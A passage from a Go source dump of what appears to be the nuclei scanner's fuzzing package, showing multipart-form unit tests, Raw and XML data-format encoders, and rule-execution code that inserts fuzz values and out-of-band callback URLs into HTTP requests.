map[string]any{\n\t\t\t\t\"string\":     \"text\",\n\t\t\t\t\"array\":      []string{\"item1\", \"item2\"},\n\t\t\t\t\"number\":     \"42\",                                // numbers are converted to strings in multipart\n\t\t\t\t\"float\":      \"3.14\",                              // floats are converted to strings\n\t\t\t\t\"boolean\":    \"true\",                              // booleans are converted to strings\n\t\t\t\t\"zero\":       \"0\",                                 // zero value converted to string\n\t\t\t\t\"emptyStr\":   \"\",                                  // empty string remains empty\n\t\t\t\t\"negative\":   \"-123\",                              // negative numbers converted to strings\n\t\t\t\t\"nil\":        \"\",                                  // nil values converted to \"\" string\n\t\t\t\t\"mixedArray\": []string{\"str\", \"123\", \"false\", \"\"}, // mixed array converted to string array\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"empty array - should not appear in output\",\n\t\t\tfields: map[string]any{\n\t\t\t\t\"emptyArray\":  []string{},\n\t\t\t\t\"normalField\": \"value\",\n\t\t\t},\n\t\t\texpected: map[string]any{\n\t\t\t\t\"normalField\": \"value\",\n\t\t\t\t// emptyArray should not appear in decoded output\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tdefer func() {\n\t\t\t\tif r := recover(); r != nil {\n\t\t\t\t\tt.Errorf(\"Test panicked: %v\", r)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\tform := NewMultiPartForm()\n\t\t\tform.boundary = \"----WebKitFormBoundary7MA4YWxkTrZu0gW\"\n\n\t\t\tkv := mapsutil.NewOrderedMap[string, any]()\n\t\t\tfor k, v := range tt.fields {\n\t\t\t\tkv.Set(k, v)\n\t\t\t}\n\n\t\t\tencoded, err := form.Encode(KVOrderedMap(&kv))\n\n\t\t\tif tt.wantErr {\n\t\t\t\trequire.Error(t, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\trequire.NoError(t, err)\n\n\t\t\t// Decode the encoded multipart data\n\t\t\tdecoded, err := form.Decode(encoded)\n\t\t\trequire.NoError(t, err)\n\n\t\t\t// Compare decoded values with expected values\n\t\t\tfor expectedKey, expectedValue := range tt.expected {\n\t\t\t\tactualValue := decoded.Get(expectedKey)\n\t\t\t\tswitch expected := expectedValue.(type) {\n\t\t\t\tcase []string:\n\t\t\t\t\tactual, ok := actualValue.([]string)\n\t\t\t\t\trequire.True(t, ok, \"Expected []string for key %s, got %T\", expectedKey, actualValue)\n\t\t\t\t\tassert.ElementsMatch(t, expected, actual, \"Values mismatch for key %s\", expectedKey)\n\t\t\t\tcase []any:\n\t\t\t\t\tactual, ok := actualValue.([]any)\n\t\t\t\t\trequire.True(t, ok, \"Expected []any for key %s, got %T\", expectedKey, actualValue)\n\t\t\t\t\tassert.ElementsMatch(t, expected, actual, \"Values mismatch for key %s\", expectedKey)\n\t\t\t\tcase string:\n\t\t\t\t\tactual, ok := actualValue.(string)\n\t\t\t\t\trequire.True(t, ok, \"Expected string for key %s, got %T\", expectedKey, actualValue)\n\t\t\t\t\tassert.Equal(t, expected, actual, \"Values mismatch for key %s\", expectedKey)\n\t\t\t\tdefault:\n\t\t\t\t\tassert.Equal(t, expected, actualValue, \"Values mismatch for key %s\", expectedKey)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Ensure no unexpected keys are present in decoded output\n\t\t\tdecoded.Iterate(func(key string, value any) bool {\n\t\t\t\t_, exists := tt.expected[key]\n\t\t\t\tassert.True(t, exists, \"Unexpected key %s found in decoded output\", key)\n\t\t\t\treturn true\n\t\t\t})\n\n\t\t\tt.Logf(\"Encoded output:\\n%s\", encoded)\n\t\t})\n\t}\n}\n\nfunc TestMultiPartFormRoundTrip(t *testing.T) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"Test panicked: %v\", r)\n\t\t}\n\t}()\n\n\tform := NewMultiPartForm()\n\tform.boundary = \"----WebKitFormBoundary7MA4YWxkTrZu0gW\"\n\n\toriginal := mapsutil.NewOrderedMap[string, any]()\n\toriginal.Set(\"username\", \"john\")\n\toriginal.Set(\"interests\", []string{\"sports\", \"music\", \"reading\"})\n\n\tencoded, err := form.Encode(KVOrderedMap(&original))\n\trequire.NoError(t, err)\n\n\tdecoded, err := form.Decode(encoded)\n\trequire.NoError(t, err)\n\n\tassert.Equal(t, \"john\", decoded.Get(\"username\"))\n\tassert.ElementsMatch(t, []string{\"sports\", \"music\", \"reading\"}, decoded.Get(\"interests\"))\n\n\tt.Logf(\"Encoded output:\\n%s\", encoded)\n}\n\nfunc TestMultiPartFormFileUpload(t *testing.T) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tt.Errorf(\"Test panicked: %v\", r)\n\t\t}\n\t}()\n\n\t// Test decoding of a manually crafted multipart form with files\n\tform := NewMultiPartForm()\n\tform.boundary = \"----WebKitFormBoundaryFileUploadTest\"\n\n\t// Manually craft a multipart form with file uploads\n\tmultipartData := `------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"name\"\n\nJohn Doe\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"email\"\n\njohn@example.com\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"profile_picture\"; filename=\"profile.jpg\"\nContent-Type: image/jpeg\n\nfake_jpeg_binary_data_here\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"documents\"; filename=\"resume.pdf\"\nContent-Type: application/pdf\n\nfake_pdf_content_1\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"documents\"; filename=\"cover_letter.pdf\"\nContent-Type: application/pdf\n\nfake_pdf_content_2\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"skills\"\n\nGo\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"skills\"\n\nJavaScript\n------WebKitFormBoundaryFileUploadTest\nContent-Disposition: form-data; name=\"skills\"\n\nPython\n------WebKitFormBoundaryFileUploadTest--\n`\n\n\t// Test decoding\n\tdecoded, err := form.Decode(multipartData)\n\trequire.NoError(t, err)\n\n\t// Verify regular fields\n\tassert.Equal(t, \"John Doe\", decoded.Get(\"name\"))\n\tassert.Equal(t, \"john@example.com\", decoded.Get(\"email\"))\n\tassert.Equal(t, []string{\"Go\", \"JavaScript\", \"Python\"}, decoded.Get(\"skills\"))\n\n\t// Verify file fields\n\tprofilePicture := decoded.Get(\"profile_picture\")\n\trequire.NotNil(t, profilePicture)\n\tprofileArray, ok := profilePicture.([]interface{})\n\trequire.True(t, ok, \"Expected []interface{} for profile_picture\")\n\trequire.Len(t, profileArray, 1)\n\tassert.Equal(t, \"fake_jpeg_binary_data_here\", profileArray[0])\n\n\tdocuments := decoded.Get(\"documents\")\n\trequire.NotNil(t, documents)\n\tdocumentsArray, ok := documents.([]interface{})\n\trequire.True(t, ok, \"Expected []interface{} for documents\")\n\trequire.Len(t, documentsArray, 2)\n\tassert.Contains(t, documentsArray, \"fake_pdf_content_1\")\n\tassert.Contains(t, documentsArray, \"fake_pdf_content_2\")\n}\n\nfunc TestMultiPartForm_SetGetFileMetadata(t *testing.T) {\n\tform := NewMultiPartForm()\n\tmetadata := FileMetadata{\n\t\tContentType: \"image/jpeg\",\n\t\tFilename:    \"test.jpg\",\n\t}\n\tform.SetFileMetadata(\"avatar\", metadata)\n\n\t// Test GetFileMetadata for existing field\n\tretrievedMetadata, exists := form.GetFileMetadata(\"avatar\")\n\tassert.True(t, exists)\n\tassert.Equal(t, metadata.ContentType, retrievedMetadata.ContentType)\n\tassert.Equal(t, metadata.Filename, retrievedMetadata.Filename)\n\n\t// Test GetFileMetadata for non-existing field\n\t_, exists = form.GetFileMetadata(\"nonexistent\")\n\tassert.False(t, exists)\n}\n\nfunc TestMultiPartForm_FilesMetadataInitialization(t *testing.T) {\n\tform := NewMultiPartForm()\n\tassert.NotNil(t, form.filesMetadata)\n\n\tmetadata := FileMetadata{\n\t\tContentType: \"text/plain\",\n\t\tFilename:    \"test.txt\",\n\t}\n\tform.SetFileMetadata(\"file\", metadata)\n\n\tretrievedMetadata, exists := form.GetFileMetadata(\"file\")\n\tassert.True(t, exists)\n\tassert.Equal(t, metadata, retrievedMetadata)\n}\n\nfunc TestMultiPartForm_BoundaryValidation(t *testing.T) {\n\tform := NewMultiPartForm()\n\n\t// Test valid boundary\n\terr := form.ParseBoundary(\"multipart/form-data; boundary=testboundary\")\n\tassert.NoError(t, err)\n\tassert.Equal(t, \"testboundary\", form.boundary)\n\n\t// Test missing boundary\n\terr = form.ParseBoundary(\"multipart/form-data\")\n\tassert.Error(t, err)\n\tassert.Contains(t, err.Error(), \"no boundary found\")\n\n\t// Test boundary too long (over 70 characters)\n\tlongBoundary := \"multipart/form-data; boundary=\" + string(make([]byte, 71))\n\tfor i := range longBoundary[len(\"multipart/form-data; boundary=\"):] {\n\t\tlongBoundary = longBoundary[:len(\"multipart/form-data; boundary=\")+i] + \"a\" + longBoundary[len(\"multipart/form-data; boundary=\")+i+1:]\n\t}\n\n\terr = form.ParseBoundary(longBoundary)\n\tassert.Error(t, err)\n\tassert.Contains(t, err.Error(), \"boundary exceeds maximum length\")\n}\n\nfunc TestMultiPartForm_DecodeRequiresBoundary(t *testing.T) {\n\tform := NewMultiPartForm()\n\n\t// Decode should fail if boundary is not set\n\t_, err := form.Decode(\"some data\")\n\tassert.Error(t, err)\n\tassert.Contains(t, err.Error(), \"boundary not set\")\n}\n\nfunc TestMultiPartForm_MultipleFilesMetadata(t *testing.T) {\n\tform := NewMultiPartForm()\n\tform.boundary = \"----WebKitFormBoundaryMultiFileTest\"\n\n\t// Test with multiple files having the same field name\n\tmultipartData := `------WebKitFormBoundaryMultiFileTest\nContent-Disposition: form-data; name=\"documents\"; filename=\"file1.txt\"\nContent-Type: text/plain\n\ncontent1\n------WebKitFormBoundaryMultiFileTest\nContent-Disposition: form-data; name=\"documents\"; filename=\"file2.txt\"\nContent-Type: text/plain\n\ncontent2\n------WebKitFormBoundaryMultiFileTest--\n`\n\n\tdecoded, err := form.Decode(multipartData)\n\trequire.NoError(t, err)\n\n\t// Verify files are decoded correctly\n\tdocuments := decoded.Get(\"documents\")\n\trequire.NotNil(t, documents)\n\tdocumentsArray, ok := documents.([]interface{})\n\trequire.True(t, ok)\n\trequire.Len(t, documentsArray, 2)\n\tassert.Contains(t, documentsArray, \"content1\")\n\tassert.Contains(t, documentsArray, \"content2\")\n\n\t// Verify metadata for the field exists (should be from the first file)\n\tmetadata, exists := form.GetFileMetadata(\"documents\")\n\tassert.True(t, exists)\n\tassert.Equal(t, \"text/plain\", metadata.ContentType)\n\tassert.Equal(t, \"file1.txt\", metadata.Filename) // Should be from first file, not last\n}\n\nfunc TestMultiPartForm_SetFileMetadataWithNilMap(t *testing.T) {\n\tform := &MultiPartForm{}\n\n\t// SetFileMetadata should handle nil filesMetadata\n\tmetadata := FileMetadata{\n\t\tContentType: \"application/pdf\",\n\t\tFilename:    \"document.pdf\",\n\t}\n\tform.SetFileMetadata(\"doc\", metadata)\n\n\t// Should be able to retrieve the metadata\n\tretrievedMetadata, exists := form.GetFileMetadata(\"doc\")\n\tassert.True(t, exists)\n\tassert.Equal(t, metadata, retrievedMetadata)\n}\n\nfunc TestMultiPartForm_GetFileMetadataWithNilMap(t *testing.T) {\n\tform := &MultiPartForm{}\n\n\t// GetFileMetadata should handle nil filesMetadata gracefully\n\t_, exists := form.GetFileMetadata(\"anything\")\n\tassert.False(t, exists)\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/raw.go",
    "content": "package dataformat\n\ntype Raw struct{}\n\nvar (\n\t_ DataFormat = &Raw{}\n)\n\n// NewRaw returns a new Raw encoder\nfunc NewRaw() *Raw {\n\treturn &Raw{}\n}\n\n// IsType returns true if the data is Raw encoded\nfunc (r *Raw) IsType(data string) bool {\n\treturn false\n}\n\n// Encode encodes the data into Raw format\nfunc (r *Raw) Encode(data KV) (string, error) {\n\treturn data.Get(\"value\").(string), nil\n}\n\n// Decode decodes the data from Raw format\nfunc (r *Raw) Decode(data string) (KV, error) {\n\treturn KVMap(map[string]interface{}{\n\t\t\"value\": data,\n\t}), nil\n}\n\n// Name returns the name of the encoder\nfunc (r *Raw) Name() string {\n\treturn RawDataFormat\n}\n"
  },
  {
    "path": "pkg/fuzz/dataformat/xml.go",
    "content": "package dataformat\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/clbanning/mxj/v2\"\n)\n\n// XML is an XML encoder\ntype XML struct{}\n\n// NewXML returns a new XML encoder\nfunc NewXML() *XML {\n\treturn &XML{}\n}\n\n// IsType returns true if the data is XML encoded\nfunc (x *XML) IsType(data string) bool {\n\treturn strings.HasPrefix(data, \"<\") && strings.HasSuffix(data, \">\")\n}\n\n// Encode encodes the data into XML format\nfunc (x *XML) Encode(data KV) (string, error) {\n\tvar header string\n\tif value := data.Get(\"#_xml_header\"); value != nil {\n\t\theader = value.(string)\n\t\tdata.Delete(\"#_xml_header\")\n\t}\n\tmarshalled, err := mxj.Map(data.Map).Xml()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif header != \"\" {\n\t\treturn fmt.Sprintf(\"<?%s?>%s\", header, string(marshalled)), nil\n\t}\n\treturn string(marshalled), err\n}\n\nvar xmlHeader = regexp.MustCompile(`\\<\\?(.*)\\?\\>`)\n\n// Decode decodes the data from XML format\nfunc (x *XML) Decode(data string) (KV, error) {\n\tvar prefixStr string\n\tprefix := xmlHeader.FindAllStringSubmatch(data, -1)\n\tif len(prefix) > 0 {\n\t\tprefixStr = prefix[0][1]\n\t}\n\n\tdecoded, err := mxj.NewMapXml([]byte(data))\n\tif err != nil {\n\t\treturn KV{}, err\n\t}\n\tdecoded[\"#_xml_header\"] = prefixStr\n\treturn KVMap(decoded), nil\n}\n\n// Name returns the name of the encoder\nfunc (x *XML) Name() string {\n\treturn XMLDataFormat\n}\n"
  },
  {
    "path": "pkg/fuzz/doc.go",
    "content": "// Package fuzz contains the fuzzing functionality for dynamic\n// fuzzing of HTTP requests and its respective implementation.\npackage fuzz\n"
  },
  {
    "path": "pkg/fuzz/execute.go",
    "content": "package fuzz\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"maps\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/component\"\n\tfuzzStats \"github.com/projectdiscovery/nuclei/v3/pkg/fuzz/stats\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\tErrRuleNotApplicable = errkit.New(\"rule not applicable\")\n)\n\n// IsErrRuleNotApplicable checks if an error is due to rule not applicable\nfunc IsErrRuleNotApplicable(err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\tif strings.Contains(err.Error(), \"rule not applicable\") {\n\t\treturn true\n\t}\n\treturn false\n}\n\n// ExecuteRuleInput is the input for rule Execute function\ntype ExecuteRuleInput struct {\n\t// Input is the context args input\n\tInput *contextargs.Context\n\t// Callback is the callback for generated rule requests\n\tCallback func(GeneratedRequest) bool\n\t// InteractURLs contains interact urls for execute call\n\tInteractURLs []string\n\t// Values contains dynamic values for the rule\n\tValues map[string]interface{}\n\t// BaseRequest is the base http request for fuzzing rule\n\tBaseRequest *retryablehttp.Request\n\t// DisplayFuzzPoints is a flag to display fuzz points\n\tDisplayFuzzPoints bool\n\n\t// ApplyPayloadInitialTransformation is an optional function\n\t// to transform the payload initially based on analyzer rules\n\tApplyPayloadInitialTransformation func(string, map[string]interface{}) string\n\tAnalyzerParams                    map[string]interface{}\n}\n\n// GeneratedRequest is a single generated request for rule\ntype GeneratedRequest struct {\n\t// Request is the http request for rule\n\tRequest *retryablehttp.Request\n\t// InteractURLs is the list of interactsh urls\n\tInteractURLs []string\n\t// DynamicValues contains dynamic values map\n\tDynamicValues map[string]interface{}\n\t// Component is the component for the request\n\tComponent component.Component\n\t// Parameter being fuzzed\n\tParameter string\n\n\t// Key is the key for the request\n\tKey string\n\t// Value is the value for the request\n\tValue string\n\t// OriginalValue is the original value for the request\n\tOriginalValue string\n\t// OriginalPayload is the original payload for the request\n\tOriginalPayload string\n}\n\n// Execute executes a fuzzing rule accepting a callback on which\n// generated requests are returned.\n//\n// Input is not thread safe and should not be shared between concurrent\n// goroutines.\nfunc (rule *Rule) Execute(input *ExecuteRuleInput) (err error) {\n\tif !rule.isInputURLValid(input.Input) {\n\t\treturn errkit.Newf(\"rule not applicable: invalid input url: %v\", input.Input.MetaInput.Input)\n\t}\n\tif input.BaseRequest == nil && input.Input.MetaInput.ReqResp == nil {\n\t\treturn errkit.Newf(\"rule not applicable: both base request and reqresp are nil for %v\", input.Input.MetaInput.Input)\n\t}\n\n\tvar finalComponentList []component.Component\n\t// match rule part with component name\n\tdisplayDebugFuzzPoints := make(map[string]map[string]string)\n\tfor _, componentName := range component.Components {\n\t\tif rule.Part != componentName && !sliceutil.Contains(rule.Parts, componentName) && rule.partType != requestPartType {\n\t\t\tcontinue\n\t\t}\n\t\tcomponent := component.New(componentName)\n\t\tdiscovered, err := component.Parse(input.BaseRequest)\n\t\tif err != nil {\n\t\t\tgologger.Verbose().Msgf(\"Could not parse component %s: %s\\n\", componentName, err)\n\t\t\tcontinue\n\t\t}\n\t\tif !discovered {\n\t\t\tcontinue\n\t\t}\n\n\t\t// check rule applicable on this component\n\t\tif !rule.checkRuleApplicableOnComponent(component) {\n\t\t\tcontinue\n\t\t}\n\t\t// Debugging display for fuzz points\n\t\tif input.DisplayFuzzPoints {\n\t\t\tdisplayDebugFuzzPoints[componentName] = make(map[string]string)\n\t\t\t_ = component.Iterate(func(key string, value interface{}) error {\n\t\t\t\tdisplayDebugFuzzPoints[componentName][key] = fmt.Sprintf(\"%v\", value)\n\t\t\t\treturn nil\n\t\t\t})\n\t\t}\n\n\t\tif rule.options.FuzzStatsDB != nil {\n\t\t\t_ = component.Iterate(func(key string, value interface{}) error {\n\t\t\t\trule.options.FuzzStatsDB.RecordComponentEvent(fuzzStats.ComponentEvent{\n\t\t\t\t\tURL:           input.Input.MetaInput.Target(),\n\t\t\t\t\tComponentType: componentName,\n\t\t\t\t\tComponentName: fmt.Sprintf(\"%v\", value),\n\t\t\t\t})\n\t\t\t\treturn nil\n\t\t\t})\n\t\t}\n\n\t\tfinalComponentList = append(finalComponentList, component)\n\t}\n\tif len(displayDebugFuzzPoints) > 0 {\n\t\tmarshalled, _ := json.MarshalIndent(displayDebugFuzzPoints, \"\", \"  \")\n\t\tgologger.Info().Msgf(\"[%s] Fuzz points for %s [%s]\\n%s\\n\", rule.options.TemplateID, input.Input.MetaInput.Input, input.BaseRequest.Method, string(marshalled))\n\t}\n\n\tif len(finalComponentList) == 0 {\n\t\treturn errkit.Newf(\"rule not applicable: no component matched on this rule\")\n\t}\n\n\tbaseValues := input.Values\n\tif rule.generator == nil {\n\t\tfor _, component := range finalComponentList {\n\t\t\t// get vars from variables while replacing interactsh urls\n\t\t\tevaluatedValues, interactURLs := rule.options.Variables.EvaluateWithInteractsh(baseValues, rule.options.Interactsh)\n\t\t\tinput.Values = generators.MergeMaps(evaluatedValues, baseValues, rule.options.Options.Vars.AsMap(), rule.options.Constants)\n\t\t\t// evaluate all vars with interactsh\n\t\t\tinput.Values, interactURLs = rule.evaluateVarsWithInteractsh(input.Values, interactURLs)\n\t\t\tinput.InteractURLs = interactURLs\n\t\t\terr := rule.executeRuleValues(input, component)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\nmainLoop:\n\tfor _, component := range finalComponentList {\n\t\titerator := rule.generator.NewIterator()\n\t\tfor {\n\t\t\tvalues, next := iterator.Value()\n\t\t\tif !next {\n\t\t\t\tcontinue mainLoop\n\t\t\t}\n\t\t\t// get vars from variables while replacing interactsh urls\n\t\t\tevaluatedValues, interactURLs := rule.options.Variables.EvaluateWithInteractsh(generators.MergeMaps(values, baseValues), rule.options.Interactsh)\n\t\t\tinput.Values = generators.MergeMaps(values, evaluatedValues, baseValues, rule.options.Options.Vars.AsMap(), rule.options.Constants)\n\t\t\t// evaluate all vars with interactsh\n\t\t\tinput.Values, interactURLs = rule.evaluateVarsWithInteractsh(input.Values, interactURLs)\n\t\t\tinput.InteractURLs = interactURLs\n\n\t\t\tif err := rule.executeRuleValues(input, component); err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\tgologger.Warning().Msgf(\"[%s] Could not execute rule: %s\\n\", rule.options.TemplateID, err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\n// evaluateVars evaluates variables in a string using available executor options\nfunc (rule *Rule) evaluateVars(input string) (string, error) {\n\tif rule.options == nil {\n\t\treturn input, nil\n\t}\n\n\tdata := generators.MergeMaps(\n\t\trule.options.Variables.GetAll(),\n\t\trule.options.Constants,\n\t\trule.options.Options.Vars.AsMap(),\n\t)\n\n\texprs := expressions.FindExpressions(input, marker.ParenthesisOpen, marker.ParenthesisClose, data)\n\n\terr := expressions.ContainsUnresolvedVariables(exprs...)\n\tif err != nil {\n\t\treturn input, err\n\t}\n\n\teval, err := expressions.Evaluate(input, data)\n\tif err != nil {\n\t\treturn input, err\n\t}\n\n\treturn eval, nil\n}\n\n// evaluateVarsWithInteractsh evaluates the variables with Interactsh URLs and updates them accordingly.\nfunc (rule *Rule) evaluateVarsWithInteractsh(data map[string]interface{}, interactshUrls []string) (map[string]interface{}, []string) {\n\t// Check if Interactsh options are configured\n\tif rule.options.Interactsh != nil {\n\t\tdata = maps.Clone(data)\n\n\t\tinteractshUrlsMap := make(map[string]struct{})\n\t\tfor _, url := range interactshUrls {\n\t\t\tinteractshUrlsMap[url] = struct{}{}\n\t\t}\n\t\tinteractshUrls = mapsutil.GetKeys(interactshUrlsMap)\n\t\t// Iterate through the data to replace and evaluate variables with Interactsh URLs\n\t\tfor k, v := range data {\n\t\t\tvalue := fmt.Sprint(v)\n\t\t\t// Replace variables with Interactsh URLs and collect new URLs\n\t\t\tgot, oastUrls := rule.options.Interactsh.Replace(value, interactshUrls)\n\t\t\tif got != value {\n\t\t\t\tdata[k] = got\n\t\t\t}\n\t\t\t// Append new OAST URLs if any\n\t\t\tif len(oastUrls) > 0 {\n\t\t\t\tfor _, url := range oastUrls {\n\t\t\t\t\tif _, ok := interactshUrlsMap[url]; !ok {\n\t\t\t\t\t\tinteractshUrlsMap[url] = struct{}{}\n\t\t\t\t\t\tinteractshUrls = append(interactshUrls, url)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Evaluate the replaced data\n\t\t\tevaluatedData, err := expressions.Evaluate(got, data)\n\t\t\tif err == nil {\n\t\t\t\t// Update the data if there is a change after evaluation\n\t\t\t\tif evaluatedData != got {\n\t\t\t\t\tdata[k] = evaluatedData\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t// Return the updated data and Interactsh URLs without any error\n\treturn data, interactshUrls\n}\n\n// isInputURLValid returns true if url is valid after parsing it\nfunc (rule *Rule) isInputURLValid(input *contextargs.Context) bool {\n\tif input == nil || input.MetaInput == nil || input.MetaInput.Input == \"\" {\n\t\treturn false\n\t}\n\t_, err := urlutil.Parse(input.MetaInput.Input)\n\treturn err == nil\n}\n\n// executeRuleValues executes a rule with a set of values\nfunc (rule *Rule) executeRuleValues(input *ExecuteRuleInput, ruleComponent component.Component) error {\n\t// if we are only fuzzing values\n\tif len(rule.Fuzz.Value) > 0 {\n\t\tfor _, value := range rule.Fuzz.Value {\n\t\t\toriginalPayload := value\n\n\t\t\tif err := rule.executePartRule(input, ValueOrKeyValue{Value: value, OriginalPayload: originalPayload}, ruleComponent); err != nil {\n\t\t\t\tif component.IsErrSetValue(err) {\n\t\t\t\t\t// this are errors due to format restrictions\n\t\t\t\t\t// ex: fuzzing string value in a json int field\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\t// if we are fuzzing both keys and values\n\tif rule.Fuzz.KV != nil {\n\t\tvar gotErr error\n\t\trule.Fuzz.KV.Iterate(func(key, value string) bool {\n\t\t\tif err := rule.executePartRule(input, ValueOrKeyValue{Key: key, Value: value}, ruleComponent); err != nil {\n\t\t\t\tif component.IsErrSetValue(err) {\n\t\t\t\t\t// this are errors due to format restrictions\n\t\t\t\t\t// ex: fuzzing string value in a json int field\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\tgotErr = err\n\t\t\t\treturn false\n\t\t\t}\n\t\t\treturn true\n\t\t})\n\t\t// if mode is multiple now build and execute it\n\t\tif rule.modeType == multipleModeType {\n\t\t\trule.Fuzz.KV.Iterate(func(key, value string) bool {\n\t\t\t\tvar evaluated string\n\t\t\t\tevaluated, input.InteractURLs = rule.executeEvaluate(input, key, \"\", value, input.InteractURLs)\n\t\t\t\tif err := ruleComponent.SetValue(key, evaluated); err != nil {\n\t\t\t\t\treturn true\n\t\t\t\t}\n\t\t\t\treturn true\n\t\t\t})\n\t\t\treq, err := ruleComponent.Rebuild()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif gotErr := rule.execWithInput(input, req, input.InteractURLs, ruleComponent, \"\", \"\", \"\", \"\", \"\", \"\"); gotErr != nil {\n\t\t\t\treturn gotErr\n\t\t\t}\n\t\t}\n\t\treturn gotErr\n\t}\n\n\t// something else is wrong\n\treturn fmt.Errorf(\"no fuzz values specified\")\n}\n\n// Compile compiles a fuzzing rule and initializes it for operation\nfunc (rule *Rule) Compile(generator *generators.PayloadGenerator, options *protocols.ExecutorOptions) error {\n\t// If a payload generator is specified from base request, use it\n\t// for payload values.\n\tif generator != nil {\n\t\trule.generator = generator\n\t}\n\trule.options = options\n\n\t// Resolve the default enums\n\tif rule.Mode != \"\" {\n\t\tif valueType, ok := stringToModeType[rule.Mode]; !ok {\n\t\t\treturn errors.Errorf(\"invalid mode value specified: %s\", rule.Mode)\n\t\t} else {\n\t\t\trule.modeType = valueType\n\t\t}\n\t} else {\n\t\trule.modeType = multipleModeType\n\t}\n\tif rule.Part != \"\" {\n\t\tif valueType, ok := stringToPartType[rule.Part]; !ok {\n\t\t\treturn errors.Errorf(\"invalid part value specified: %s\", rule.Part)\n\t\t} else {\n\t\t\trule.partType = valueType\n\t\t}\n\t}\n\tif rule.Part == \"\" && len(rule.Parts) == 0 {\n\t\treturn errors.Errorf(\"no part specified for rule\")\n\t}\n\n\tif rule.Type != \"\" {\n\t\tif valueType, ok := stringToRuleType[rule.Type]; !ok {\n\t\t\treturn errors.Errorf(\"invalid type value specified: %s\", rule.Type)\n\t\t} else {\n\t\t\trule.ruleType = valueType\n\t\t}\n\t} else {\n\t\trule.ruleType = replaceRuleType\n\t}\n\n\t// Initialize other required regexes and maps\n\tif len(rule.Keys) > 0 {\n\t\trule.keysMap = make(map[string]struct{})\n\t}\n\n\t// eval vars in \"keys\"\n\tfor _, key := range rule.Keys {\n\t\tevaluatedKey, err := rule.evaluateVars(key)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not evaluate key\")\n\t\t}\n\n\t\trule.keysMap[strings.ToLower(evaluatedKey)] = struct{}{}\n\t}\n\n\t// eval vars in \"values\"\n\tfor _, value := range rule.ValuesRegex {\n\t\tevaluatedValue, err := rule.evaluateVars(value)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not evaluate value regex\")\n\t\t}\n\n\t\tcompiled, err := regexp.Compile(evaluatedValue)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile value regex\")\n\t\t}\n\n\t\trule.valuesRegex = append(rule.valuesRegex, compiled)\n\t}\n\n\t// eval vars in \"keys-regex\"\n\tfor _, value := range rule.KeysRegex {\n\t\tevaluatedValue, err := rule.evaluateVars(value)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not evaluate key regex\")\n\t\t}\n\n\t\tcompiled, err := regexp.Compile(evaluatedValue)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile key regex\")\n\t\t}\n\n\t\trule.keysRegex = append(rule.keysRegex, compiled)\n\t}\n\n\tif rule.ruleType != replaceRegexRuleType {\n\t\tif rule.ReplaceRegex != \"\" {\n\t\t\treturn errors.Errorf(\"replace-regex is only applicable for replace and replace-regex rule types\")\n\t\t}\n\t} else {\n\t\tif rule.ReplaceRegex == \"\" {\n\t\t\treturn errors.Errorf(\"replace-regex is required for replace-regex rule type\")\n\t\t}\n\n\t\tevalReplaceRegex, err := rule.evaluateVars(rule.ReplaceRegex)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not evaluate replace regex\")\n\t\t}\n\n\t\tcompiled, err := regexp.Compile(evalReplaceRegex)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"could not compile 